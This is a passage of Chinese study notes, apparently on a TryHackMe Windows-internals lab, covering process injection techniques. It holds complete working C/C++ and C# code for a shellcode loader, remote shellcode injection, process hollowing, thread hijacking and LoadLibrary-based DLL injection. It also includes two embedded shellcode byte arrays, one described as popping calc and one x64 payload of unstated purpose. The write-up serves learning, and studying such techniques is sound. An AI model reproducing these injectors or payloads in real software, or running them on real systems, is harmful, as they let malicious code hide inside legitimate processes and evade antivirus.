    private static extern IntPtr CallNextHookEx(IntPtr hhk, int nCode, IntPtr wParam, IntPtr lParam);
}

Shellcode Launcher

Shellcode 加载器的 P/Invoke 过程：

1
2
3
4
5
6
7
8
9
10
11

private static UInt32 MEM_COMMIT = 0x1000;
private static UInt32 PAGE_EXECUTE_READWRITE = 0x40;
[DllImport("kernel32")]
// 调用进程的虚拟地址空间中分配、保留或提交内存区域
private static extern UInt32 VirtualAlloc(UInt32 lpStartAddr, UInt32 size, UInt32 flAllocationType, UInt32 flProtect);
[DllImport("kernel32")]
// 等待一个内核对象，直到该对象进入有信号状态或者指定的超时时间已到
private static extern UInt32 WaitForSingleObject(IntPtr hHandle, UInt32 dwMilliseconds);
[DllImport("kernel32")]
// 在当前进程的虚拟地址空间内创建一个新的线程来执行一个指定的函数
private static extern IntPtr CreateThread(UInt32 lpThreadAttributes, UInt32 dwStackSize, UInt32 lpStartAddress, IntPtr param, UInt32 dwCreationFlags, ref UInt32 lpThreadId);

Shellcode 加载器的具体过程：

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23

// 1分配一个可以容纳 shellcode 大小的内存区域，并且立即提交并且赋予可执行和读写权限
UInt32 funcAddr = VirtualAlloc(0, (UInt32)shellcode.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// 把 shellcode 复制到这个内存区域
Marshal.Copy(shellcode, 0, (IntPtr)(funcAddr), shellcode.Length);

// 2初始化句柄，线程 ID，线程参数
IntPtr hThread = IntPtr.Zero;
UInt32 threadId = 0;
// 指向线程参数的指针，这里为空
// 也可以在下面的那个调用里面直接传一个 IntPtr.Zero
// 但是上面两个是必须的，函数创建之后会把线程句柄和线程 ID 写回
IntPtr pinfo = IntPtr.Zero;

// 3创建一个新线程来执行 shellcode
// CreateThread 是一个 Win32 API 函数，它在新线程中执行一个函数（这里是我们的 shellcode）
// 参数依次为：线程安全属性、栈大小、线程起始地址、线程参数、创建标志、线程 ID
hThread = CreateThread(0, 0, funcAddr, pinfo, 0, ref threadId);

// 4等待线程执行完成
// WaitForSingleObject 是一个 Win32 API 函数，用于等待一个对象（这里是我们的线程）进入有信号状态或超时
// 0xFFFFFFFF 代表无限等待，直到线程执行完毕
WaitForSingleObject(hThread, 0xFFFFFFFF);
return;

Abusing Windows Internals

“Windows 内部”一词可涵盖 Windows 操作系统后端的所有组件。这包括进程、文件格式、COM（组件对象模型）、任务调度、I/O 系统等。本房间将重点介绍如何滥用和利用进程及其组件、DLL（动态链接库）和 PE（可执行文件）格式。

Abusing Processes 滥用进程

一个应用程序可以包含一个或者多个进程，而一个进程有多个子组件，他们可以直接和内存或虚拟内存交互，下面是每个进程的关键组件和用途，前面的 Windows Internals 房间我已经介绍过了，这里直接复制过来了。

进程注入通常是一个总括性术语，用于描述通过合法功能或组件将恶意代码注入进程。在本房间中，我们将重点关注以下四种不同类型的进程注入。

MITRE T1055 中概述了许多其他形式的进程注入。

最基本的进程注入形式是 shellcode 注入，可以分为四个步骤：

1. 以所有访问权限打开目标进程。
2. 为 shellcode 分配目标进程内存。
3. 将 shellcode 写入目标进程中已分配的内存。
4. 使用远程线程执行 shellcode。

这些步骤也可以用图表形式分解，以描绘 Windows API 调用如何与进程内存交互。

这里会分解一个 Shellcode 注入器的执行过程，这里和我们之前玩的注入一个弹窗是一样的。

第一步，用 OpenProcess 打开目标进程：

1
2
3
4
5

processHandle = OpenProcess(
	PROCESS_ALL_ACCESS, // Defines access rights
	FALSE, // Target handle will not be inhereted
	DWORD(atoi(argv[1])) // Local process supplied by command-line arguments 
);

第二步，分配内存：

1
2
3
4
5
6
7

remoteBuffer = VirtualAllocEx(
	processHandle, // Opened target process
	NULL, 
	sizeof shellcode, // Region size of memory allocation
	(MEM_RESERVE | MEM_COMMIT), // Reserves and commits pages
	PAGE_EXECUTE_READWRITE // Enables execution and read/write access to the commited pages
);

第三步，写入 shellcode 到分配好的内存区域中：

1
2
3
4
5
6
7

WriteProcessMemory(
	processHandle, // Opened target process
	remoteBuffer, // Allocated memory region
	shellcode, // Data to write
	sizeof shellcode, // byte size of data
	NULL
);

第四步，用 CreateRemoteThread 执行：

1
2
3
4
5
6
7
8
9

remoteThread = CreateRemoteThread(
	processHandle, // Opened target process
	NULL, 
	0, // Default size of the stack
	(LPTHREAD_START_ROUTINE)remoteBuffer, // Pointer to the starting address of the thread
	NULL, 
	0, // Ran immediately after creation
	NULL
);

远程代码注入实战

这里的 Shellcode 是弹计算器的，执行会被卡巴拦未授权的注入。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28

#include <windows.h>
#include <stdio.h>

unsigned char shellcode[] = {
    0xdb, 0xc5, 0xd9, 0x74, 0x24, 0xf4, 0x5d, 0xb8, 0xd7, 0x4d, 0x78, 0xab, 0x2b, 0xc9,
    0xb1, 0x30, 0x31, 0x45, 0x18, 0x83, 0xc5, 0x04, 0x03, 0x45, 0xc3, 0xaf, 0x8d, 0x57,
    0x03, 0xad, 0x6e, 0xa8, 0xd3, 0xd2, 0xe7, 0x4d, 0xe2, 0xd2, 0x9c, 0x06, 0x54, 0xe3,
    0xd7, 0x4b, 0x58, 0x88, 0xba, 0x7f, 0xeb, 0xfc, 0x12, 0x8f, 0x5c, 0x4a, 0x45, 0xbe,
    0x5d, 0xe7, 0xb5, 0xa1, 0xdd, 0xfa, 0xe9, 0x01, 0xdc, 0x34, 0xfc, 0x40, 0x19, 0x28,
    0x0d, 0x10, 0xf2, 0x26, 0xa0, 0x85, 0x77, 0x72, 0x79, 0x2d, 0xcb, 0x92, 0xf9, 0xd2,
    0x9b, 0x95, 0x28, 0x45, 0x90, 0xcf, 0xea, 0x67, 0x75, 0x64, 0xa3, 0x7f, 0x9a, 0x41,
    0x7d, 0x0b, 0x68, 0x3d, 0x7c, 0xdd, 0xa1, 0xbe, 0xd3, 0x20, 0x0e, 0x4d, 0x2d, 0x64,
    0xa8, 0xae, 0x58, 0x9c, 0xcb, 0x53, 0x5b, 0x5b, 0xb6, 0x8f, 0xee, 0x78, 0x10, 0x5b,
    0x48, 0xa5, 0xa1, 0x88, 0x0f, 0x2e, 0xad, 0x65, 0x5b, 0x68, 0xb1, 0x78, 0x88, 0x02,
    0xcd, 0xf1, 0x2f, 0xc5, 0x44, 0x41, 0x14, 0xc1, 0x0d, 0x11, 0x35, 0x50, 0xeb, 0xf4,
    0x4a, 0x82, 0x54, 0xa8, 0xee, 0xc8, 0x78, 0xbd, 0x82, 0x92, 0x16, 0x40, 0x10, 0xa9,
    0x54, 0x42, 0x2a, 0xb2, 0xc8, 0x2b, 0x1b, 0x39, 0x87, 0x2c, 0xa4, 0xe8, 0xec, 0xc3,
    0xee, 0xb1, 0x44, 0x4c, 0xb7, 0x23, 0xd5, 0x11, 0x48, 0x9e, 0x19, 0x2c, 0xcb, 0x2b,
    0xe1, 0xcb, 0xd3, 0x59, 0xe4, 0x90, 0x53, 0xb1, 0x94, 0x89, 0x31, 0xb5, 0x0b, 0xa9,
    0x13, 0xd6, 0xca, 0x39, 0xff, 0x19
};

int main(int argc, char* argv[]) {
    HANDLE h_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (atoi(argv[1])));
    PVOID b_shellcode = VirtualAllocEx(h_process, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(h_process, b_shellcode, shellcode, sizeof shellcode, NULL);
    HANDLE h_thread = CreateRemoteThread(h_process, NULL, 0, (LPTHREAD_START_ROUTINE)b_shellcode, NULL, 0, NULL);
}

Process Hollowing 进程挖空

进程挖空（Process Hollowing），或称为“空心化”，是一种常见的恶意软件技术。它的核心思想就是：

1. 创建外壳：创建一个合法的、看似无害的进程（比如 notepad.exe）。但关键在于，这个进程被创建时是暂停的。
2. 清空外壳：利用暂停状态，攻击者可以清空这个合法进程的内存空间。
3. 注入恶意代码：将恶意代码（payload）注入到这个被清空的内存空间中。
4. 恢复执行：恢复进程的执行，此时，这个合法进程实际上执行的是注入的恶意代码。

这些步骤也可以用图表形式分解，以描绘 Windows API 调用如何与进程内存交互。

接下来会讲解一个基本的进程镂空注入器：

第一步：创建挂起进程

我们必须使用 CreateProcessA 创建一个处于挂起状态的目标进程。并传入 STARTUPINFOA 和 PROCESS_INFORMATION 结构体，来创建并获取目标进程的启动信息和句柄。

• CreateProcessA function (processthreadsapi.h) - Win32 apps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

// STARTUPINFOA 是一个结构体，它包含新进程的启动信息，比如窗口大小、位置、标准输入/输出句柄等
LPSTARTUA target_si = new STARTUPINFOA();
// 包含进程和主线程的信息
// PROCESS_INFORMATION 是一个结构体，这里会接收 CreateProcessA 函数返回的新创建的进程和其主线程的句柄和 ID
LPPROCESS_INFORMATION target_pi = new PROCESS_INFORMATION();
// 上下文结构体指针
CONTEXT c;

if (CreateProcessA(
	(LPSTR)"C:\\\\Windows\\\\System32\\\\svchost.exe", // 要执行的程序名称
	NULL, // 命令行参数
	NULL, // 进程安全属性
	NULL, // 线程安全属性
	TRUE, // 句柄从调用进程继承
	CREATE_SUSPENDED, // 新进程处于暂停状态
	NULL, // 环境变量 NULL 表示使用默认值
	NULL, // 当前目录 NULL 表示使用默认值
	target_si, // 指向启动信息结构体的指针
	target_pi) == 0) { // 指向进程信息结构体的指针
	cout << "[!] Failed to create Target process. Last Error: " << GetLastError();
	return 1;

第二步：读取恶意镜像到本地内存

我们需要打开一个恶意镜像进行注入，首先使用 CreateFileA 获取恶意镜像的句柄。

• CreateFileA function (fileapi.h) - Win32 apps

1
2
3
4
5
6
7
8
9
10

// 被打开文件的句柄
HANDLE hMaliciousCode = CreateFileA(
	(LPCSTR)"C:\\\\Users\\\\tryhackme\\\\malware.exe", // 要打开的文件的路径
	GENERIC_READ, // 只读访问
	FILE_SHARE_READ, // 只读共享模式，FILE_SHARE_READ 意味着其他进程也可以打开这个文件来读取，但不能写入
	NULL, // 使用默认的安全设置
	OPEN_EXISTING, // 指示函数如果文件或设备存在就打开它
	NULL, // 模板文件
	NULL // 文件属性
);

一旦获得恶意镜像的句柄，就使用 GetFileSize 获取其大小，然后用 VirtualAlloc 为当前进程分配一个足够存储整个文件的内存块。

• GetFileSize function
• VirtualAlloc function

1
2
3
4
5
6
7
8
9
10
11

DWORD maliciousFileSize = GetFileSize(
	hMaliciousCode, // 被打开文件的句柄
	0 // 打开 4GB 以下文件
);

PVOID pMaliciousImage = VirtualAlloc(
	NULL,
	maliciousFileSize, // 文件大小
	0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
	0x04 // Enables read/write access (PAGE_READWRITE)
);

现在内存已分配给本地进程，必须对其进行写入。利用从先前步骤中获得的信息，我们可以使用 ReadFile 将数据写入本地进程内存。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

DWORD numberOfBytesRead; // 存储读取的字节数

if (!ReadFile(
	hMaliciousCode, // 被打开文件的句柄
	pMaliciousImage, // 分配好的内存区域
	maliciousFileSize, // 文件大小
	&numberOfBytesRead, // 读取的字节数
	NULL
	)) {
	cout << "[!] Unable to read Malicious file into memory. Error: " <<GetLastError()<< endl;
	TerminateProcess(target_pi->hProcess, 0);
	return 1;
}

CloseHandle(hMaliciousCode);

第三步：掏空目标进程

我们需要“掏空”目标进程的内存，我们必须找到进程的基址和入口点。

为了找到这些信息，我们首先要获取主线程的上下文（Context）。在 32 位系统上，GetThreadContext 函数能让我们访问线程暂停时的所有寄存器状态。在线程创建并挂起后，EBX 寄存器会指向进程环境块（PEB），而 EAX 则包含了原始程序的入口点

一旦获取了 EBX 的值，我们使用 ReadProcessMemory 函数，从 EBX 指向的地址加上 0x8（对于 32 位系统）或 0x10（对于 64 位系统）的固定偏移量来读取进程的原始镜像基址。

• ReadProcessMemory function (memoryapi.h) - Win32 apps

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

// 只在指针中存储 CPU 寄存器
// CONTEXT_INTEGER 是一个标志，它告诉 GetThreadContext 函数，你只关心线程的整数寄存器（如 Eax、Ebx 等），而不需要浮点寄存器或其他信息。这能减少开销，并获得你所需的数据。
c.ContextFlags = CONTEXT_INTEGER; 

// 获取当前线程上下文
GetThreadContext(
	target_pi->hThread, // 从 PROCESS_INFORMATION 结构体中获取 线程 句柄
	&c // GetThreadContext 函数会将该线程的当前寄存器状态写入这个结构体
);

// 存储从目标进程读取的基址
PVOID pTargetImageBaseAddress; 

// 读取进程内存
ReadProcessMemory(
	target_pi->hProcess, // 从 PROCESS_INFORMATION 结构体中获取 进程 句柄
	(PVOID)(c.Ebx + 8), // 进程的基址
	&pTargetImageBaseAddress, // 存储基址到这个变量 
	sizeof(PVOID), // 要读取的字节数
	0 // 读取的字节数，这里用 NULL 代替，表示不关心
);

获取进程的基址后，我们就可以开始取消映射内存了。我们可以从 ntdll.dll 导入 ZwUnmapViewOfSection API 来释放目标进程的内存。

1
2
3
4
5
6
7
8
9
10
11
12
13

HMODULE hNtdllBase = GetModuleHandleA("ntdll.dll"); // 获取 ntdll 的句柄

// 从 ntdll 里面获取 ZwUnmapViewOfSection API
pfnZwUnmapViewOfSection pZwUnmapViewOfSection = (pfnZwUnmapViewOfSection)GetProcAddress(
	hNtdllBase, // ntdll 的句柄
	"ZwUnmapViewOfSection" // 要获取的 API 函数
);

// 存储执行 ZwUnmapViewOfSection 的结果，也就是掏空成功与否
DWORD dwResult = pZwUnmapViewOfSection(
	target_pi->hProcess, // 从 PROCESS_INFORMATION 结构体中获取 进程 句柄
	pTargetImageBaseAddress // 要掏空的进程的基址
);

第四步：重新分配并写入恶意代码

第四步，我们需要在目标进程中重新分配内存，但这回分配的大小不是原文件的大小，而是恶意代码镜像在内存中所需的大小。

为了获取这个精确的尺寸，我们必须解析恶意可执行文件（PE 文件）的头部。

1. 首先，通过 e_lfanew 字段，我们可以找到从 DOS 头部到 PE 头部的字节偏移量。
2. 接着，一旦定位到 PE 头部，我们就可以从可选头部中读取 SizeOfImage 字段。

过程简述：获取 DOS 头部 -> 从 DOS 头部中获取 e_lfanew -> 定位到 NT 头部 -> NT 头部中找到可选头部 -> 找到 SizeOfImage

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

// 从恶意镜像中获取 DOS 头部
// 将 pMaliciousImage 强制类型转换为 PIMAGE_DOS_HEADER
// 使其能作为指针来访问 PE 文件的 DOS 头部
PIMAGE_DOS_HEADER pDOSHeader = (PIMAGE_DOS_HEADER)pMaliciousImage;

// PE 文件的核心是 NT 头部，e_lfanew 存储了从文件开头到 NT 头部起始位置的偏移量，而 e_lfanew 是在 DOS 头部中的
// 这里利用这个偏移量，计算出 NT 头部在内存中的确切位置
PIMAGE_NT_HEADERS pNTHeaders = (PIMAGE_NT_HEADERS)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew);

// 从 NT 头部结构体中获取可选头部的大小
// SizeOfImage 定义了可执行文件加载到内存所需的总大小
DWORD sizeOfMaliciousImage = pNTHeaders->OptionalHeader.SizeOfImage; 

// 在目标进程中分配内存
// 返回的是分配好的内存的指针地址
PVOID pHollowAddress = VirtualAllocEx(
	target_pi->hProcess, // 目标进程的句柄，从结构体里面拿的
	pTargetImageBaseAddress, // 进程的基址
	sizeOfMaliciousImage, // 加载到内存所需的总大小
	0x3000, // Reserves and commits pages (MEM_RESERVE | MEM_COMMIT)
	0x40 // Enabled execute and read/write access (PAGE_EXECUTE_READWRITE)
);

分配好内存后，我们就可以将恶意文件的内存镜像写入目标进程。由于 PE 文件的内存镜像结构，我们必须先将 PE 头部写入新分配的内存空间。在写入 PE 头部时，我们使用 WriteProcessMemory 函数，并指定 PE 头部的大小来确定写入范围。

1
2
3
4
5
6
7
8
9

if (!WriteProcessMemory(
	target_pi->hProcess, // 进程句柄
	pTargetImageBaseAddress, // 进程基址
	pMaliciousImage, // 内存中恶意镜像文件的地址
	pNTHeaders->OptionalHeader.SizeOfHeaders, // PE 头的大小
	NULL
)) {
	cout<< "[!] Writting Headers failed. Error: " << GetLastError() << endl;
}

现在我们需要写入每个节。要查找节的数量，我们可以使用 NT 头中的 NumberOfSections 。我们可以通过循环遍历 e_lfanew 和当前头的大小来写入每个节。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15

// 根据 PE 中的分段数进行循环
for (int i = 0; i < pNTHeaders->FileHeader.NumberOfSections; i++) { 
    // 确定当前的 PE 节头部 强制转换成 PIMAGE_SECTION_HEADER 结构体
    // 计算出当前节的头部在恶意文件内存中的精确位置
    // DOS 头到 NT 头部的偏移量 + NT 头本身的大小 + 节数 * 节头部的大小 = 要写入的节头部地址
	PIMAGE_SECTION_HEADER pSectionHeader = (PIMAGE_SECTION_HEADER)((LPBYTE)pMaliciousImage + pDOSHeader->e_lfanew + sizeof(IMAGE_NT_HEADERS) + (i * sizeof(IMAGE_SECTION_HEADER))); 

	WriteProcessMemory(
		target_pi->hProcess, // 进程句柄
		(PVOID)((LPBYTE)pHollowAddress + pSectionHeader->VirtualAddress), // 要写入的目标地址 当前节在内存中的相对地址，这是在节里面定义好的
		(PVOID)((LPBYTE)pMaliciousImage + pSectionHeader->PointerToRawData), // 源地址 当前节在文件中的偏移量 镜像基址 + 当前节数据的偏移量 = 节开始的地址
		pSectionHeader->SizeOfRawData, // 当前节的原始数据大小
		NULL // 写入了多少字节
	);
}

第五步：修改上下文并恢复线程

我们使用 SetThreadContext 将 EAX 更改为指向入口点，最后使用 ResumeThread 将进程从挂起状态中恢复。

1
2
3
4
5
6
7
8
9
10
11
12
13

// 将挂起线程的 EAX 寄存器修改为恶意镜像的入口点地址。当线程恢复时，它将从这个新的地址开始执行。
// 这里的 c 是上下文结构体
c.Eax = (SIZE_T)((LPBYTE)pHollowAddress + pNTHeaders->OptionalHeader.AddressOfEntryPoint); 

// 修改线程的上下文
SetThreadContext(
	target_pi->hThread, // 线程句柄
	&c // 指向存储的上下文结构的指针
);

ResumeThread(
	target_pi->hThread // 线程句柄
);

这样就完成了一个进程空洞注入。

实战

靶机里面有一个 demo，这里就不贴代码了。注意要用 32 位环境编译，被注入和注入的程序都要 32 位的，可以自己写一个简单的输入输出模拟一下就 OK 了，我这里是用的一个输出固定字符串的文件来检验我注入是否成功了。

1
2
3
4
5
6
7

#include <iostream>

int main()
{
    std::cout << "Pwned!\n";
    system("pause");
}

Thread Hijacking 线程劫持

这里原标题是 Abusing Process Components ，但是实际讲的是线程执行

线程劫持可分为十个步骤：

1. 定位并打开要控制的目标进程。
2. 为恶意代码分配内存区域。
3. 在分配的内存中编写恶意代码。
4. 确定要劫持的目标线程的线程 ID。
5. 打开目标线程。
6. 暂停目标线程。
7. 获取线程上下文。
8. 更新恶意代码的指令指针。
9. 重写目标线程上下文。
10. 恢复被劫持的线程。

这个技术的前三步和之前讲过的是一样的，获取进程句柄，分配内存，写入 shellcode 进内存。

1
2
3

HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);
PVOIF remoteBuffer = VirtualAllocEx(hProcess, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
WriteProcessMemory(processHandle, remoteBuffer, shellcode, sizeof shellcode, NULL);

第四步，我们首先使用 CreateToolhelp32Snapshot API 创建一个包含所有线程信息的系统快照。接着，利用 Thread32First 和 Thread32Next 遍历这个快照，找到与目标进程 ID 匹配的线程 ID。找到后，我们使用 OpenThread API 获取这个目标线程的句柄，以便后续操作。

• CreateToolhelp32Snapshot function
• Thread32First function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22

// 初始化结构体
THREADENTRY32 threadEntry;

HANDLE hSnapshot = CreateToolhelp32Snapshot(
    TH32CS_SNAPTHREAD, // 快照系统中的所有线程
    0                  // 指示当前进程，不过这里会被忽略，返回的所有的进程的快照
);

// 获取快照中的第一个线程
Thread32First(
    hSnapshot,   // 快照的句柄
    &threadEntry // 指向 THREADENTRY32 的结构体指针
);

do {
    if (threadEntry.th32OwnerProcessID == processID) // 匹配进程 ID
    {
        // 打开找到进程的线程的句柄
        HANDLE hThread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
        break;
    }
} while (Thread32Next(hsnapshot, &threadEntry));

第六步，挂起线程。接着，我们使用 GetThreadContext 获取线程的上下文。在 CONTEXT 结构体中，我们找到并修改指令指针寄存器（在 x64 系统上为 RIP，在 x86 系统上为 EIP），让它指向我们之前注入的 shellcode 的内存地址。最后，用 SetThreadContext 将修改后的上下文写回线程。最后一步让程序继续运行就 OK 了。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

// 挂起线程
SuspendThread(hThread);

// 定义一个 CONTEXT 结构体
CONTEXT context;

// 获取线程上下文
GetThreadContext(hThread, &context);

// 修改 CONTEXT 结构体变量让 RIP 指向我们分配并且写入好的内存区域
context.Rip = (DWORD_PTR)remoteBuffer; 

// 设置线程的上下文
SetThreadContext(hThread,&context);
// 让线程继续运行
ResumeThread(hThread);

实战

这个给的 Demo 就是修改 RIP 的，所以直接劫持 x64 应用就 OK。当然 shellcode 也要换一下，下面是我改好的代码。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68

#include <windows.h>
#include <dbghelp.h>
#include <tlhelp32.h>
#include <stdio.h>

unsigned char shellcode[] =
    "\x48\x31\xc9\x48\x81\xe9\xde\xff\xff\xff\x48\x8d\x05\xef"
    "\xff\xff\xff\x48\xbb\x53\x60\x16\x71\x23\x14\xed\xcc\x48"
    "\x31\x58\x27\x48\x2d\xf8\xff\xff\xff\xe2\xf4\xaf\x28\x95"
    "\x95\xd3\xfc\x2d\xcc\x53\x60\x57\x20\x62\x44\xbf\x9d\x05"
    "\x28\x27\xa3\x46\x5c\x66\x9e\x33\x28\x9d\x23\x3b\x5c\x66"
    "\x9e\x73\x28\x9d\x03\x73\x5c\xe2\x7b\x19\x2a\x5b\x40\xea"
    "\x5c\xdc\x0c\xff\x5c\x77\x0d\x21\x38\xcd\x8d\x92\xa9\x1b"
    "\x30\x22\xd5\x0f\x21\x01\x21\x47\x39\xa8\x46\xcd\x47\x11"
    "\x5c\x5e\x70\xf3\x9f\x6d\x44\x53\x60\x16\x39\xa6\xd4\x99"
    "\xab\x1b\x61\xc6\x21\xa8\x5c\xf5\x88\xd8\x20\x36\x38\x22"
    "\xc4\x0e\x9a\x1b\x9f\xdf\x30\xa8\x20\x65\x84\x52\xb6\x5b"
    "\x40\xea\x5c\xdc\x0c\xff\x21\xd7\xb8\x2e\x55\xec\x0d\x6b"
    "\x80\x63\x80\x6f\x17\xa1\xe8\x5b\x25\x2f\xa0\x56\xcc\xb5"
    "\x88\xd8\x20\x32\x38\x22\xc4\x8b\x8d\xd8\x6c\x5e\x35\xa8"
    "\x54\xf1\x85\x52\xb0\x57\xfa\x27\x9c\xa5\xcd\x83\x21\x4e"
    "\x30\x7b\x4a\xb4\x96\x12\x38\x57\x28\x62\x4e\xa5\x4f\xbf"
    "\x40\x57\x23\xdc\xf4\xb5\x8d\x0a\x3a\x5e\xfa\x31\xfd\xba"
    "\x33\xac\x9f\x4b\x39\x99\x15\xed\xcc\x53\x60\x16\x71\x23"
    "\x5c\x60\x41\x52\x61\x16\x71\x62\xae\xdc\x47\x3c\xe7\xe9"
    "\xa4\x98\xe4\x58\x6e\x05\x21\xac\xd7\xb6\xa9\x70\x33\x86"
    "\x28\x95\xb5\x0b\x28\xeb\xb0\x59\xe0\xed\x91\x56\x11\x56"
    "\x8b\x40\x12\x79\x1b\x23\x4d\xac\x45\x89\x9f\xc3\x12\x42"
    "\x78\x8e\xcc";

int main(int argc, char *argv[])
{
    HANDLE h_thread = NULL;
    THREADENTRY32 threadEntry;
    CONTEXT context;
    context.ContextFlags = CONTEXT_FULL;
    threadEntry.dwSize = sizeof(THREADENTRY32);

    HANDLE h_process = OpenProcess(PROCESS_ALL_ACCESS, FALSE, (atoi(argv[1])));
    PVOID b_shellcode = VirtualAllocEx(h_process, NULL, sizeof shellcode, (MEM_RESERVE | MEM_COMMIT), PAGE_EXECUTE_READWRITE);
    WriteProcessMemory(h_process, b_shellcode, shellcode, sizeof shellcode, NULL);

    HANDLE h_snapshot = CreateToolhelp32Snapshot(TH32CS_SNAPTHREAD, 0);
    Thread32First(h_snapshot, &threadEntry);

    do
    {
        if (threadEntry.th32OwnerProcessID == (atoi(argv[1])))
        {
            h_thread = OpenThread(THREAD_ALL_ACCESS, FALSE, threadEntry.th32ThreadID);
            break;
        }
    } while (Thread32Next(h_snapshot, &threadEntry));

    if (h_thread)
    {
        SuspendThread(h_thread);
        GetThreadContext(h_thread, &context);
        context.Rip = (DWORD_PTR)b_shellcode;
        SetThreadContext(h_thread, &context);
        ResumeThread(h_thread);
        printf("Inject Success!\n");
    }
    else
    {
        printf("Thread Not Found!\n");
    }
}

Abusing DLLs 滥用 DLL

DLL 注入可以分为6个步骤：

1. 找到要注入的目标进程。
2. 打开目标进程。
3. 为恶意 DLL 分配内存区域。
4. 将恶意 DLL 写入分配的内存。
5. 加载并执行恶意 DLL。

在 DLL 注入的第一步，我们必须找到一个目标线程。可以使用三个 Windows API 调用从进程中找到一个线程：CreateToolhelp32Snapshot() 、 Process32First() 和 Process32Next()，这个和上一节中是一样的，不过是通过遍历线程了。Thread32 和 Process32 的区别。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21

DWORD getProcessId(const char *processName){
    // 打快照
    HANDLE hSnapshot = CreateToolhelp32Snapshot(
        TH32CS_SNAPPROCESS, // 快照系统中的所有线程
        0);
    
    if (hSnapshot){
        PROCESSENTRY32 entry;                  // 创建 PROCESSENTRY32 结构体指针
        entry.dwSize = sizeof(PROCESSENTRY32); // 预先设置结构体的大小
        if (Process32First(hSnapshot, &entry)){
            do {
                // 从结构体指针里面取出进程名和提供的进程名进行比对
                if (!strcmp(entry.szExeFile, processName)){
                    return entry.th32ProcessID; // 返回比对成功的 PID
                }
            } while (Process32Next(hSnapshot, &entry)); 
        }
    }
}
// 存储进程 PID
DWORD processId = getProcessId(processName);

第二步，枚举出 PID 后，我们需要打开进程。这可以通过多种 Windows API 调用实现： GetModuleHandle 、 GetProcAddress 或 OpenProcess 。

第三步，必须为提供的恶意 DLL 分配内存。与大多数注入器一样，这可以通过 VirtualAllocEx 来完成。

第四步，我们需要将恶意 DLL 写入已分配的内存位置。我们可以使用 WriteProcessMemory 来写入已分配的区域。

这里我不太理解为什么前面分配内存的时候不 + 1，按理说分配的大小要超过能写入的大小吧，这里写入的大小都超过分配内存区域的大小了，难道不报错？

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17

// 通过 PID 获取进程的句柄
HANDLE hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, processId);

// 在目标进程的地址空间中给 DLL 分配内存，返回一个指针地址
LPVOID dllAllocatedMemory = VirtualAllocEx(hProcess, NULL, 
	strlen(dllLibFullPath), // DLL 路径文本本身的大小
	MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE
);

// 写入内存
WriteProcessMemory(
	hProcess,
	dllAllocatedMemory, // 分配内存区域的指针
	dllLibFullPath, // 恶意 DLL 的路径
	strlen(dllLibFullPath) + 1, // 确保字符后面的 \0 也写入进去
	NULL
);

最后，我们使用 CreateRemoteThread 在目标进程中创建一个新线程。该线程的起始地址指向 kernel32.dll 中的 LoadLibraryA 函数，并将我们写入的 DLL 路径作为参数传递给它。

1
2
3
4
5
6
7
8
9
10
11
12
13

LPVOID loadLibrary = (LPVOID) GetProcAddress(
	GetModuleHandle("kernel32.dll"), // 包含需要调用的 API 的模块的句柄
	"LoadLibraryA" // 要导入的 API 调用
);
HANDLE remoteThreadHandler = CreateRemoteThread(
	hProcess, 	
	NULL, 
	0, // 使用线程的默认堆栈大小
	(LPTHREAD_START_ROUTINE) loadLibrary // 指向 API 起始函数的指针
	dllAllocatedMemory, // 指向分配好内存区域的指针
	0, // 创建后立即执行
	NULL
);

实践

说实话有点折腾人了，这里由于 ANSI 和 Unicode 的问题弄了很久。两套兼容方式也够折磨人的，不愧是 Microshit。

前面 GetProcessId 方法那里，Process32First 只给了一种实现，用的是 Unicode 编码，即 wchar_t 类型。

1
2
3
4
5
6
7

#ifdef UNICODE
#define Process32First Process32FirstW
#define Process32Next Process32NextW
#define PROCESSENTRY32 PROCESSENTRY32W
#define PPROCESSENTRY32 PPROCESSENTRY32W
#define LPPROCESSENTRY32 LPPROCESSENTRY32W
#endif  // !UNICODE

从内存视图里面可以看到从结构体里面获取的字符串都高位有一个 \00，这是 UTF-16 的特性。而我们传入的 processName 又是 ANSI 编码的，这就会导致 strcmp 返回不了正确的结果。

所以这里要写一个函数，把 ANSI 字符串转换为 wchar_t 类型。

好，这里解决了，下面有一个 GetFullPathName 方法，这个函数呢，有两种版本。但默认情况下，Visual Studio 项目是配置为 Unicode 的。这意味着 GetFullPathName 实际上调用的是 GetFullPathNameW。这下就导致 dllLibFullPath 接收到的是一个 wchar_t 类型，而系统又是把他当成 char 来对待。我 debug 的时候就发现他输出一个字符就不输出了。不过这里用 GetFullPathNameA 就解决了。

后面导入 LoadLibrary 方法的时候，要用 GetModuleHandleA ，至此解决了所有问题，可以注入 DLL 了。

解决这个的过程要善用调试工具，折腾这一下把 VS Studio 调试熟悉了。

